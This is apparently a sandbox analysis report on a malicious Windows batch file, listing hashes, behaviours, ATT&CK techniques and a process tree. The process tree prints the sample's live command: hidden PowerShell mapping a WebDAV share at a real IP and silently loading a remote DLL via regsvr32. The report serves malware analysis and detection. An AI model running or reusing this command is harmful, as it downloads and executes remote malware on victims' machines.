d4432eddaa65b13e0daaa839476a5374eb8d5bb1c23d673764deaa0a7e72e852

Analysis

max time kernel
139s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 06:59

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General

Target

21348315842434132741.bat
Size

2KB
MD5

727c8f0fc8782d849bcf2fcbaa38acce
SHA1

411325e4cbe91bc4ae15914fff38eb8c2d32c90b
SHA256

5c54e6be00c2bdee8c704c026d20e5504c2c805aa99133e29b6a5799ab11b4c6
SHA512

3f82ed587271c3e91b60bceb3406f7ef663f6b9a59553d369633d10456bd6dadb68843a7a4ca81c9084b08dd4c0e442c5a82c20ff2d003e0c69a0302a7a74424

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4236	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4236	powershell.exe
4236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4236	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4928	wordpad.exe
4928	wordpad.exe
4928	wordpad.exe
4928	wordpad.exe
4928	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 4928	3064	cmd.exe	85
PID 3064 wrote to memory of 4928	3064	cmd.exe	85
PID 3064 wrote to memory of 4236	3064	cmd.exe	87
PID 3064 wrote to memory of 4236	3064	cmd.exe	87
PID 4236 wrote to memory of 1292	4236	powershell.exe	89
PID 4236 wrote to memory of 1292	4236	powershell.exe	89
PID 4236 wrote to memory of 816	4236	powershell.exe	90
PID 4236 wrote to memory of 816	4236	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\21348315842434132741.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1292
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll
    3⤵
    PID:816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bkhuoyus.40f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4236-9-0x000002405CF30000-0x000002405CF52000-memory.dmp

Filesize
136KB

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